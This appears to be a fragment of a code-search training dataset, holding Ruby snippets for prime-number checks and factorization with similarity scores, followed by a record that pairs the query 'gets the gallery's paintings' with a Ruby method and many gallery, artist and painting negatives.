"def anti_prime?(num)\n anti_factors = factors(num)\n (1...num).none? { |i| anti_factors.length < factors(i).length }\nend",
"def prime?(num)\n return false if num < 2\n (2...num).none? { |i| num % i == 0 }\nend",
"def isPrime num\n\tif num == 1\n\t\treturn false\n\tend\n\tstop = num - 1\n\t(2..stop).each do |n| \n\t\tif (num % n) == 0 \n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend",
"def prime?(num)\n\tif num < 2\n\t\treturn false\n\tend\n \n \t(2...num).each do |factor|\n \tif num % factor == 0\n \treturn false\n end\n end\n \n \treturn true\nend",
"def problem3(num)\n prime = num\n while num%2==0 do num/=2 end\n (3..Math.sqrt(num).to_i).step(2).each { |pf|\n break if num < pf\n while num%pf==0 do\n num/=pf\n prime = pf\n end\n }\n prime\nend",
"def isPrime?(num)\n return false if num < 2\n\n (2...num).each { |factor| return false if num % factor == 0}\n\n true\nend",
"def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |divisor|\n if num % divisor == 0\n return false\n end\n end\n\n return true\nend",
"def isPrime(num)\nflag=true\n for i in 2..num/2\n if num%i==0 then\n flag=false\n break\n end\n end\nreturn flag\nend",
"def prime?(num)\n return true if num < 3\n\n (2...num).each do |i|\n return false if num % i == 0\n end\n true\nend",
"def prime_number(num)\n return false if num<2\n\n for i in 2...num\n if num%2==0\n return false\n end\n end\n return true\nend",
"def is_prime?(num)\n if !is_integer?(num)\n return false\n elsif num <= 1\n return false\n else\n (2..(num-1)).each do |el|\n if num % el == 0\n return false\n end\n end\n end\n return true\nend",
"def prime?(num)\n return false if num == 1\n (2...num).each do |number|\n return false if num % number == 0\n end\n return true\nend",
"def prime?(num)\n return false if num == 1\n\n return true if num < 4\n\n i = 1\n while i <= Math.sqrt(num)\n i += 1\n next if even_above_two(i)\n\n return false if num % i == 0\n end\n\n true\nend",
"def nth_Prime(num)\n\tprime_array = [2]\n\ti = 3\n\n\twhile prime_array.length < num\n\t\ti += 2\n\t\tif (i % 2 == 0)\n\t\t\tnext_num\n\t\tend\n\n\t\tprime = true\n\t\tprime_array.each do |j|\n\t\t\tif (i % j == 0)\n\t\t\t\tprime = false\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\n\t\tif prime\n\t\t\tprime_array << i\n\t\tend\n\tend\n\tprime_array.last\nend",
"def isPrime?(num)\n for i in 2...(num)\n if((num % i) == 0)\n return false\n end\n end\n return true\nend",
"def is_prime(num)\n i = num / 2\n a = true\n if num < 2\n a = false\n else\n while i > 1\n if num % i == 0\n a = false\n i -= 1\n else\n i -= 1\n end\n end\n end\n return a\nend",
"def prime?(num)\n if num <= 1\n false\n elsif num == 2 || num == 3\n true\n elsif num > 3\n list_array = (2..num-1).to_a\n list_array.none? { |i| num % i == 0 }\n end\nend",
"def PrimeNumber?(number)\n return false if number<2 || number%2 ==0\n (3..number-1).select(&:odd?).each do |i|\n return false if number%i == 0\n end\n true\nend",
"def prime_factorization(num)\n return [num] if is_prime?(num)\n\n (2..num).each do |fact|\n if num % fact == 0\n prime_factorization(fact)\n other_fact = num / fact\n prime_factorization(other_fact)\n end\n end\n\nend",
"def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def is_prime?(num)\n return false if num < 2\n\n (2...num).each do |i|\n return false if num % i == 0\n end\n true \nend",
"def prime?(num)\n return false if num < 2\n (2...num).none? { |fact| num % fact == 0 }\nend",
"def prime?(num)\n return false if num < 2\n (2...num).none? { |fact| num % fact == 0 }\nend",
"def prime?(number)\n if number < 2\n return false\n else\n (2..number-1).each do |n|\n if number % n == 0\n return false\n end\n end\n true\nend\nend",
"def emirps num\n\ti = 2\n\twhile i < num do\n\t\treverse_i = i.to_s.reverse.to_i\n\t\tif isPrime(i) && isPrime(reverse_i)\n\t\t\tprint i.to_s + \"\\n\"\n\t\tend\n\t\ti = i + 1\n\tend\n\nend",
"def is_prime?(num)\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n num > 2\nend",
"def prime?(num)\n if num > 1\n (2..(num - 1)).each do |n|\n return false if num % n == 0\n end\n true\n elsif num <= 0\n (-2..(-num + 1)).each do |n|\n return false if num % n == 0\n end\n true\n elsif num == 1\n false\n end\nend",
"def prime?(num)\n return false if num < 2\n (2...num).none? { |f| num % f == 0 }\nend",
"def bi_prime?(num)\n factors = []\n\n (2...num).each do |factor|\n factors << factor if num % factor == 0 \n end\n\n return false if factors.length > 2\n \n factors.each do |number|\n (2...number).each do |factor|\n return false if number % factor == 0\n end\n end\n\n true\nend",
"def anti_prime?(num)\n num_fact_len = factors(num).length\n\n (2...num).each do |n|\n n_fact_len = factors(n).length\n if n_fact_len > num_fact_len\n return false\n end\n end\n\n return true\nend",
"def is_prime number\n\ti = 1\n\tnot_prime = 0\n\tloop do\n\t\tbreak if i == number / 2\n\t\tif number % i == 0\n\t\t\tnot_prime = 1\n\t\tend\n\t\tbreak if not_prime == 1\n\t\ti = i + 1\n\tend\n\tnot_prime\nend",
"def prime?(num)\n return false if num < 2\n (2..num/2).each{ |n| return false if num % n == 0 }\n return true\nend",
"def is_prime?(num)\n # Write your code here\n # (1..num).select { |element| num % element == 0 }.length == 2 ? true : false\n\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend",
"def prime_factorization(num)\n primes = [] \n i = 2 \n while num != 1\n while num % i == 0\n if is_prime?(i) \n num = num / i \n primes << i \n else\n i += 1 \n end \n end\n i += 1 \n end\n primes\nend",
"def prime?(number)\n return false if number < 2\n (2..number - 1).each do |x|\n if (number % x) == 0\n return false\n end\n end\n true\nend",
"def pretentious_primes(arr, num)\n new_arr = []\n if num > 0\n arr.each do |ele|\n i = ele + 1\n count = 0\n while true\n if is_prime?(i)\n count += 1\n end\n if count == num\n new_arr << i\n break\n end\n i += 1\n end\n end\n else\n num = -1 * num\n end\n new_arr\nend",
"def isPrime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n return true\nend",
"def prime?(num)\n return false if num == 1\n return true if num == 2\n (2...num).each do |divisor|\n return false if num % divisor == 0\n end\n true\nend",
"def is_prime?(i)\n return false if i <= 1\n return true if i == 2\n (2...i).each {|n|\n if i % n == 0\n return false\n end\n }\n true\nend",
"def prime_factorization(num)\n (2...num).each do |factor|\n if num % factor == 0\n other = num / factor\n return prime_factorization(factor).concat(prime_factorization(other))\n end\n end\n\n [num]\nend",
"def is_prime?(num)\n return false if num <= 1\n\n (2...num).each do |fact|\n return false if num % fact == 0\n end\n\n true\nend",
"def prime?(number)\n # binding.pry\n return false if number < 2\n (2..number - 1 ).each do|num|\n if (number % num) == 0\n return false\n end\n end\n true\nend",
"def anti_prime?(num)\n num_facts = count_facts(num)\n (1...num).all? { |i| num_facts > count_facts(i) }\nend",
"def prime_factorization(num)\n\n (2...num).each do |factor|\n if num % factor == 0\n divisor = num / factor\n return prime_factorization(factor) + prime_factorization(divisor)\n end\n end\n [num]\nend",
"def prime?(num)\r\n # your code goes here\r\n prime = []\r\n\r\n for i in 1 .. num\r\n if num % i == 0\r\n prime << i\r\n end\r\n end\r\n prime.length == 2\r\nend",
"def isprime?(num)\n\n return false if num<2\n\n (2...num).each do |factor|\n return false if num % factor == 0\n end\n\n return true\n\nend",
"def is_prime?(num)\n return false if num.even?\n for i in (2..((num/2.round) + 1))\n return false if num % i == 0\n end\n return true\nend",
"def is_prime?(num)\n return false if num.even?\n for i in (2..((num/2.round) + 1))\n return false if num % i == 0\n end\n return true\nend",
"def is_prime?(num)\n return false if num < 2\n \n (2...num).each do |i|\n return false if num % i == 0\n end\n true\nend",
"def prime?(num)\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\n end",
"def prime?(num)\n return false if num == 1\n return true if num == 2 or num == 3 or num == 5 or num == 7\n return false if num % 2 == 0 or num % 3 == 0 or num % 5 == 0 or num % 7 == 0\n (11..Math.sqrt(num).ceil).each do |i| \n return false if num % i == 0\n end\n true \nend",
"def prime?(num)\n return false if num < 2\n\n return true if num <= 3\n\n return false if (num % 2).zero? || (num % 3).zero?\n\n i = 5\n while i < Math.sqrt(num)\n return false if (num % i).zero?\n\n i += 1\n end\n true\nend",
"def is_prime?(num)\n if num < 2\n return false\n end\n\n idx = 2\n while idx < num\n if num % idx == 0\n return false\n end\n idx += 1\n end\n true\nend",
"def is_prime?(num)\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend",
"def prime?(number)\n return false if number == 1\n 2.upto(number - 1) do |index|\n return false if number % index == 0\n end\n true\nend"
] |
[
"0.7694735",
"0.7465949",
"0.7435972",
"0.7435799",
"0.74183923",
"0.7408947",
"0.7406797",
"0.73996305",
"0.73884374",
"0.7370166",
"0.7369542",
"0.7346348",
"0.73429775",
"0.73429775",
"0.7338101",
"0.7337987",
"0.7335078",
"0.7313099",
"0.729924",
"0.7285141",
"0.7279839",
"0.7277911",
"0.7277333",
"0.7275961",
"0.7267553",
"0.726458",
"0.7254603",
"0.7246",
"0.7238173",
"0.72377914",
"0.7237021",
"0.72369015",
"0.7229119",
"0.72281677",
"0.7217405",
"0.7209676",
"0.7206244",
"0.72055733",
"0.71994483",
"0.719905",
"0.71904564",
"0.7188499",
"0.7186869",
"0.7185556",
"0.7182521",
"0.71797436",
"0.717001",
"0.7167274",
"0.71647733",
"0.7163525",
"0.7161292",
"0.7161208",
"0.7159877",
"0.71546125",
"0.7150098",
"0.71463424",
"0.7144966",
"0.71407795",
"0.71373296",
"0.713673",
"0.71151286",
"0.7104258",
"0.709623",
"0.7094411",
"0.7086575",
"0.7085575",
"0.7085483",
"0.7084909",
"0.7084909",
"0.70834607",
"0.7081814",
"0.70781165",
"0.70776683",
"0.7077309",
"0.70628303",
"0.70587474",
"0.705819",
"0.704249",
"0.7042045",
"0.70420337",
"0.7032265",
"0.70202786",
"0.70194614",
"0.7017136",
"0.7009408",
"0.70093143",
"0.70064664",
"0.6994811",
"0.69945204",
"0.69922477",
"0.6988617",
"0.69880337",
"0.69871557",
"0.69871557",
"0.6980125",
"0.69783145",
"0.6976676",
"0.69759554",
"0.6973505",
"0.69723445",
"0.6966786"
] |
0.0
|
-1
|
gets the gallery's paintings
|
def paintings
Painting.all.select do |painting|
painting.gallery == self
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def galleries\n paintings.map {|p| p.gallery}\n end",
"def galleries\n paintings.map {|painting| painting.gallery}\n end",
"def gallaries\n paintings.map{|paint| paint.gallery}\n\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |p|\n p.gallery\n end\n end",
"def list_galleries\n list_paintings.map do |gallery_painting|\n gallery_painting.gallery\n end\n end",
"def paintings\n Painting.all.select do |a|\n a.gallery == self\n end\n end",
"def galleries()\n self.paintings().map { | painting | painting.gallery }.uniq\n end",
"def galleries\n galleries = self.paintings.map do |pi|\n pi.gallery\n end\n galleries.uniq\n end",
"def galleries\n paintings.map{|painting| painting.gallery}.uniq\n end",
"def all_galleries\n self.all_paintings.map do |painting|\n painting.gallery\n end.uniq\n end",
"def galleries\n galleries_array = paintings.map {|painting| painting.gallery}\n galleries_array.uniq\n end",
"def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end",
"def galleries\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery\n end\n end.compact.uniq\n end",
"def paintings # Get a list of all the paintings by a specific(keywrod for instance method) artists\n Painting.all.select{|list| list.gallery == self}\n # binding.pry\n end",
"def all_galleries_featured_in\n my_galleries = self.all_my_paintings.map{|picture| picture.gallery}.uniq\n end",
"def paintings\n Painting.all.select {|p| p.artist == self}\n end",
"def paintings()\n Painting.all.select { | painting | painting.artist == self }\n end",
"def all_my_paintings\n Painting.all.select{|picture| picture.artist == self}\n end",
"def all_galleries\n gallery_arr = Painting.all.select do |painting_ob|\n painting_ob.artist == self\n end\n gallery_arr.map do |painting_ob|\n painting_ob.gallery.name\n end\nend",
"def all_artists_by_gallery\n paintings = Painting.all.select { |painting| painting.gallery == self }\n # paintings.map { |painting| painting.artist }\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.find_all do |pi|\n pi.artist == self\n end\n end",
"def galleries\n galleries = self.paintings.map do |p|\n p.gallery\n end\n galleries.uniq\nend",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select{|painting_instance| painting_instance.artist == self}\n end",
"def paintings\n Painting.all.select do |painting_instance|\n painting_instance.artist == self\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def get_figures\n get(FIGURES)\n end",
"def list_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def all_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def show\n @paintings = @artist.paintings\n end",
"def galleries\n galleries = []\n Dir.glob(\"#{@options.cache_dir}/*\").each do |path| \n name = path.split('/').last\n puts name\n gallery = {}\n gallery[:title] = name.gsub(/[_]/, ' ').capitalize\n puts (gallery[:path] = \"gallery/#{name}\")\n thumb = Dir.glob(\"#{path}/*/thumb.*\").first\n thumb = Dir.glob(\"#{path}/*/*.*\").first unless thumb # else take the first image.\n thumb = thumb.split('/').last\n puts (gallery[:thumb] = \"image/m/#{name}/#{thumb}\")\n galleries << gallery\n end\n galleries\n end",
"def drawings\n @drawings ||= []\n end",
"def all_artists\n match = Painting.all.select{|painting| painting.gallery == self}\n match.map{|painting| painting.artist}\nend",
"def create_painting\n Painting.new(title, price, self, gallery)\n end",
"def painting_count\n self.paintings.length\n end",
"def items()\n data['galleries']\n end",
"def show\n @title = 'Photos'\n @painting = Painting.find(params[:id])\n end",
"def show\n @paintall = Painting.all\n end",
"def create_painting(title, price, gallery)\n Painting.new(title, price, self, gallery)\n end",
"def create_painting(title, price, gallery)\n Painting.new(title, price, self, gallery)\n end",
"def create_painting(title, price, gallery)\n Painting.new(title, price, self, gallery)\n end",
"def index\n @spek_selections = SpekSelection.all\n @pictures = SpekSelectionsPicture.group(:spek_selection_id)\n @spekSelectionsGrid = initialize_grid(SpekSelection,\n include:[:color])\n # group: ['spek_selections.code'])\n @spekImagesPath = \"/assets/images/spekSelections/\"\n end",
"def create_painting(title, price, gallery)\n Painting.new(self, title, price, gallery)\n end",
"def all_paintings\n artist_paintings = Painting.all.select do |painting_ob|\n #binding.pry\n painting_ob.artist == self\n end\n artist_paintings.map do |painting_ob|\n painting_ob.title\n end\nend",
"def create_painting(title, price, gallery)\n Painting.new(title, price, gallery, self)\n end",
"def create_painting(title, price, gallery)\n Painting.new(title, price, gallery, self)\n end",
"def create_painting(title, price, gallery)\n Painting.new(title, price, gallery, self)\n end",
"def create_painting(title, price, gallery)\n Painting.new(self, title, price, gallery)\n end",
"def show\n @images = @galleries_album.galleries\n end",
"def create_painting(title, price, gallery) #(title, price, artist, gallery)\n Painting.new(title, price, self, gallery)\n end",
"def drawings\n Drawing.where(label: self)\n end",
"def gallery\n @galleries = Gallery.all\n end",
"def gallery\n \n @gallery = Picture.all\n\nend",
"def paintings\n Painting.all.select do |p|\n p.artist == self \n end\nend",
"def galleries\n @galleries ||= Fotolia::Galleries.new(self)\n end",
"def boxes\n wayfinder.decorated_ephemera_boxes\n end",
"def show \n @artist = Artist.find(params[:id])\n @paintings = @artist.paintings\n end",
"def artists\n paintings.collect do |p|\n p.artist \n end\n end",
"def drawings\n\t@drawings || read_drawings\n end",
"def artists\n paintings.map do |painting|\n painting.artist\n end\n end",
"def index\n @painters = Painter.all\n end",
"def average_blue_screens\n return @average_blue_screens\n end",
"def getgraphics(*)\n super.to_s\n end",
"def read_gallery_settings(gallery_name = \"test\", _browser = @browser)\n Log.logger.info(\"Reading '#{gallery_name}' Gallery properties.\")\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n self.open_gallery(gallery_name)\n wait.until { _browser.find_element(:xpath => @galmgr.edit_gallery) }.click\n frame = wait.until { _browser.find_element(:xpath => @galmgr.edit_overlay_frame) }\n _browser.switch_to.frame(frame)\n cols = wait.until { _browser.find_element(:xpath => \"//div[contains(@class,'form-item')]/select[contains(@id,'edit-media-gallery-columns-und')]/option[@selected='selected']\") }.text\n rows = _browser.find_element(:xpath => @galmgr.edit_gallery_rows).attribute(\"value\")\n media_display = wait.until { _browser.find_element(:xpath => \"//div[contains(@class,'form-item')]/select[contains(@id,'edit-media-gallery-image-info-where')]/option[@selected='selected']\")}.text\n _browser.find_element(:xpath => @galmgr.close_overlay).click\n #make sure we're on a loaded page\n _browser.switch_to.default_content\n Log.logger.info(\"Cols: #{cols} rows: #{rows} media_display: #{media_display}\")\n return cols, rows, media_display\n end",
"def artists\n self.paintings.map do |painting|\n painting.artist\n end.uniq\n end",
"def set_painting\n @painting = Painting.find(params[:id])\n end",
"def set_painting\n @painting = Painting.find(params[:id])\n end",
"def set_painting\n @painting = Painting.find(params[:id])\n end",
"def figures_by_color(color)\n figures.select { |piece| piece.color == color }\n end",
"def create_painting(title, price, gallery) #works\n Painting.new(title, price, self, gallery)\n end",
"def set_painting\n @painting = Painting.find(params[:id])\n end",
"def read_gallery_presentation_settings(gal_name = \"test\")\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n Log.logger.info(\"Reading gallery's presentation settings\")\n self.open_gallery(gal_name)\n Log.logger.info(\"Successfully opened the gallery, waiting for and clicking on 'edit' link now\")\n wait.until { @browser.find_element(:xpath => @galmgr.edit_gallery) }.click\n Log.logger.info(\"Removing overlay part of the URL:\")\n url = @browser.current_url\n Log.logger.info(\"Before: #{url}\")\n # Removing the overlay from the url.\n url.gsub!(\"content/#{gal_name}#overlay=\",'')\n Log.logger.info(\"After: #{url}\")\n Log.logger.info(\"Opening: #{url.inspect}\")\n @browser.get(url)\n Log.logger.info(\"Successfully opened, waiting for image download checkbox now\")\n wait.until { @browser.find_element(:xpath => @galmgr.image_download_chkbox) }\n Log.logger.info(\"Checkbox found, getting rest of the properties\")\n download = @browser.find_element(:xpath => @galmgr.image_download_chkbox).selected?\n fullpage_view = @browser.find_element(:xpath => @galmgr.media_on_fullpage).selected?\n lightbox_view = @browser.find_element(:xpath => @galmgr.media_on_lightbox).selected?\n lightbox_desc_view = @browser.find_element(:xpath => @galmgr.media_on_lightbox_desc).selected?\n\n if fullpage_view\n media_view = :fullpage\n elsif lightbox_view\n media_view = :lightbox\n end\n\n self.return_to_home_page\n\n {\n :download => download,\n :media_view => media_view,\n :lightbox_desc_view => lightbox_desc_view\n }\n end",
"def index\n @graphics = Graphic.fetch_ordered_by_page(params[\"page\"])\n end",
"def show_pegs\n white_pegs_as_circle\n red_pegs_as_circle\n puts \"White pegs: #{@white_pegs_as_circle}\"\n puts \"Red pegs: #{@red_peg_as_circle}\"\n end",
"def images\n images = @anchors.select { |a| a.object.is_a?(Pic) }\n images.map { |a| a.object }\n end",
"def gal_artist\n beef = paintings.map{|exp| exp.artist.years_active} #accesing artist object in paintings method(mentioned above) and years_active instance_method\n tot = beef.inject{|sum, n| sum + n} #sum of all\n # avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end",
"def get_drawable_objects()\n @ary = []\n @ary += @monsters\n @ary += @towers.values\n @ary += @bullets\n @ary << @placed_tower if @placed_tower\n @ary\n end",
"def create\n @painting = @gallery.paintings.create(painting_params)\n @painting.gallery_id = @gallery.id \n \n if @painting.save\n \n flash[:notice] = \"Successfully created painting.\"\n redirect_to gallery_path(@gallery)\n \n \n else\n render :action => 'new'\n end\n \n end",
"def show\n @arts = Array.new()\n @gallery.art_ids.each do |aid|\n @arts << Art.find(aid)\n end\n\n end",
"def painter_name\n # Return back the name of my painter\n self.painter.name\n end",
"def list_gallery\n Galleries.all.each.with_index(1) { |gallery, i| puts \"#{i}. #{gallery.name}\"}\n end",
"def gallery_images\n imgs = images\n 1.upto(3 - imgs.size) do |i|\n imgs << \"/images/placeholder.png\"\n end\n imgs\n end",
"def figures\n return 3\n end",
"def init_photo_bar_graphics \n color_list = Array.new\n theme_dir = File.dirname(__FILE__) + '/../../assets/' + theme\n\n Dir.open(theme_dir).each do |file|\n next unless /\\.png$/.match(file)\n color_list << Image.read(\"#{theme_dir}/#{file}\").first\n end\n @colors = color_list\n end",
"def prepare_drawings # :nodoc:\n chart_ref_id = 0\n image_ref_id = 0\n drawing_id = 0\n ref_id = 0\n image_ids = {}\n header_image_ids = {}\n background_ids = {}\n @worksheets.each do |sheet|\n chart_count = sheet.charts.size\n image_count = sheet.images.size\n shape_count = sheet.shapes.size\n header_image_count = sheet.header_images.size\n footer_image_count = sheet.footer_images.size\n has_background = sheet.background_image.size\n has_drawings = false\n\n # Check that some image or drawing needs to be processed.\n next if chart_count + image_count + shape_count + header_image_count + footer_image_count + has_background == 0\n\n # Don't increase the drawing_id header/footer images.\n if chart_count + image_count + shape_count > 0\n drawing_id += 1\n has_drawings = true\n end\n\n # Prepare the background images.\n if ptrue?(has_background)\n filename = sheet.background_image\n type, width, height, name, x_dpi, y_dpi, md5 = get_image_properties(filename)\n\n if background_ids[md5]\n ref_id = background_ids[md5]\n else\n image_ref_id += 1\n ref_id = image_ref_id\n background_ids[md5] = ref_id\n @images << [filename, type]\n end\n\n sheet.prepare_background(ref_id, type)\n end\n\n # Prepare the worksheet images.\n sheet.images.each_with_index do |image, index|\n filename = image[2]\n type, width, height, name, x_dpi, y_dpi, md5 = get_image_properties(image[2])\n if image_ids[md5]\n ref_id = image_ids[md5]\n else\n image_ref_id += 1\n image_ids[md5] = ref_id = image_ref_id\n @images << [filename, type]\n end\n sheet.prepare_image(\n index, ref_id, drawing_id, width, height,\n name, type, x_dpi, y_dpi, md5\n )\n end\n\n # Prepare the worksheet charts.\n sheet.charts.each_with_index do |_chart, index|\n chart_ref_id += 1\n sheet.prepare_chart(index, chart_ref_id, drawing_id)\n end\n\n # Prepare the worksheet shapes.\n sheet.shapes.each_with_index do |_shape, index|\n sheet.prepare_shape(index, drawing_id)\n end\n\n # Prepare the header images.\n header_image_count.times do |index|\n filename = sheet.header_images[index][0]\n position = sheet.header_images[index][1]\n\n type, width, height, name, x_dpi, y_dpi, md5 =\n get_image_properties(filename)\n\n if header_image_ids[md5]\n ref_id = header_image_ids[md5]\n else\n image_ref_id += 1\n header_image_ids[md5] = ref_id = image_ref_id\n @images << [filename, type]\n end\n\n sheet.prepare_header_image(\n ref_id, width, height, name, type,\n position, x_dpi, y_dpi, md5\n )\n end\n\n # Prepare the footer images.\n footer_image_count.times do |index|\n filename = sheet.footer_images[index][0]\n position = sheet.footer_images[index][1]\n\n type, width, height, name, x_dpi, y_dpi, md5 =\n get_image_properties(filename)\n\n if header_image_ids[md5]\n ref_id = header_image_ids[md5]\n else\n image_ref_id += 1\n header_image_ids[md5] = ref_id = image_ref_id\n @images << [filename, type]\n end\n\n sheet.prepare_header_image(\n ref_id, width, height, name, type,\n position, x_dpi, y_dpi, md5\n )\n end\n\n if has_drawings\n drawings = sheet.drawings\n @drawings << drawings\n end\n end\n\n # Sort the workbook charts references into the order that the were\n # written from the worksheets above.\n @charts = @charts.select { |chart| chart.id != -1 }\n .sort_by { |chart| chart.id }\n\n @drawing_count = drawing_id\n end",
"def get_galleries_names_on_page(_browser = @browser)\n Log.logger.info(\"Getting gallery link-names on the page\")\n i = 1\n galleries_list = []\n galleries_xpath = \"//div[contains(@class, 'media-gallery-collection')]/div\"\n nog = Integer(_browser.find_elements(:xpath => galleries_xpath).size)\n Log.logger.info(\"Found #{nog} galleries\")\n while i <= nog\n JQuery.wait_for_events_to_finish(_browser)\n gal_name = _browser.find_element(:xpath => \"//div[contains(@class, 'media-gallery-collection')]/div[#{i}]\").attribute(\"about\")\n gal_name.gsub!(/\\/content\\//,'')\n i += 1\n galleries_list << gal_name\n end\n return galleries_list\n end",
"def graphics\n filter << 'Style:Graphics'\n self\n end",
"def artists\n paintings.map{|art| art.artist.name}\n\n end",
"def draw\r\n # Complete the missing code\r\n #draw_albums(albums)\r\n draw_background\r\n end",
"def index\n @gallery_pieces = GalleryPiece.all\n end",
"def gallery_images\n imgs = []\n images.each do |image|\n imgs << image.public_filename(:medium)\n end\n 1.upto(6 - imgs.size) do |i|\n imgs << \"/images/placeholder.png\"\n end\n imgs\n end",
"def update\n @title = 'Photos'\n @painting = Painting.find(params[:id])\n if @painting.update_attributes(params[:painting])\n redirect_to @painting.gallery\n else\n render :action => 'edit'\n end\n end"
] |
[
"0.81684786",
"0.8124278",
"0.8102787",
"0.8054186",
"0.8054186",
"0.8054186",
"0.79500747",
"0.78035414",
"0.7781781",
"0.767967",
"0.75492215",
"0.7461465",
"0.73917866",
"0.73008287",
"0.7253058",
"0.7183398",
"0.71794134",
"0.68692607",
"0.68281126",
"0.6762081",
"0.67161924",
"0.6588906",
"0.65773344",
"0.6491851",
"0.6491851",
"0.6491851",
"0.6489225",
"0.64728963",
"0.6453942",
"0.6446556",
"0.6394294",
"0.6363733",
"0.6363733",
"0.6297786",
"0.6260704",
"0.6258071",
"0.6210455",
"0.5997601",
"0.5950618",
"0.5943654",
"0.59107137",
"0.57467186",
"0.5735209",
"0.57325035",
"0.57207733",
"0.5687968",
"0.56535524",
"0.56535524",
"0.56535524",
"0.5600534",
"0.5592803",
"0.55840045",
"0.55811507",
"0.55811507",
"0.55811507",
"0.5561776",
"0.55465657",
"0.5533433",
"0.54987645",
"0.54870254",
"0.5482753",
"0.5471086",
"0.5469906",
"0.5428717",
"0.5420979",
"0.54132444",
"0.5401103",
"0.53920186",
"0.53875655",
"0.53712684",
"0.5367867",
"0.5331053",
"0.5327965",
"0.53053",
"0.53053",
"0.53053",
"0.5290618",
"0.52885085",
"0.52825654",
"0.5269593",
"0.5256398",
"0.52546847",
"0.5254166",
"0.5249034",
"0.5244289",
"0.5240563",
"0.5238981",
"0.52230674",
"0.5216548",
"0.5169283",
"0.51373583",
"0.51197034",
"0.51170635",
"0.5113554",
"0.51112187",
"0.5090116",
"0.5089033",
"0.5043212",
"0.50225693",
"0.50172216"
] |
0.7800964
|
8
|
get list of artists that have painting at a specific Gallery "this gallery's painting's artists"
|
def artists
paintings.map do |painting|
painting.artist
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def all_artists_by_gallery\n paintings = Painting.all.select { |painting| painting.gallery == self }\n # paintings.map { |painting| painting.artist }\n end",
"def all_artists\n match = Painting.all.select{|painting| painting.gallery == self}\n match.map{|painting| painting.artist}\nend",
"def galleries\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery\n end\n end.compact.uniq\n end",
"def all_galleries\n gallery_arr = Painting.all.select do |painting_ob|\n painting_ob.artist == self\n end\n gallery_arr.map do |painting_ob|\n painting_ob.gallery.name\n end\nend",
"def artists_with_multiple_photographs\n artists = []\n @artists.each do |artist|\n @photographs.each do |photo|\n if artist[:id] == photo[:artist_id]\n artists << artist\n end\n end\n end\n artists\n end",
"def artists\n self.paintings.map do |painting|\n painting.artist\n end.uniq\n end",
"def artists\n paintings.map{|art| art.artist.name}\n\n end",
"def artist_names #return array of the names of all artists that have a painting in a gallery\n artists.name #pull array from artists method and call reader to get their name\n end",
"def find_photographs_by_artist(artist)\n artist_photos = []\n @photographs.each do |photograph|\n if photograph[:artist_id] == artist[:id]\n artist_photos << photograph\n end\n end\n artist_photos\n end",
"def artists\n paintings.collect do |p|\n p.artist \n end\n end",
"def all_my_paintings\n Painting.all.select{|picture| picture.artist == self}\n end",
"def all_artist_names_by_gallery\n all_artists_by_gallery.map do |artist|\n # artist.name == Painting.artist.name\n artist.name\n end\n end",
"def paintings\n Painting.all.select do |a|\n a.gallery == self\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.gallery == self\n end\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select{|painting_instance| painting_instance.artist == self}\n end",
"def paintings\n Painting.all.select do |painting_instance|\n painting_instance.artist == self\n end\n end",
"def list_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.find_all do |pi|\n pi.artist == self\n end\n end",
"def artists\n genre_artists = []\n Song.all.each {|song|\n if song.genre == self &&\n !genre_artists.include?(song.artist)\n genre_artists << song.artist\n end\n }\n genre_artists\n end",
"def artists\n songs.collect do |song|\n song.artist\n end\n .uniq #does not return duplicate artists if the genre has more than one song by a particular artist (genre has many artists through songs)\n end",
"def galleries\n paintings.map{|painting| painting.gallery}.uniq\n end",
"def paintings()\n Painting.all.select { | painting | painting.artist == self }\n end",
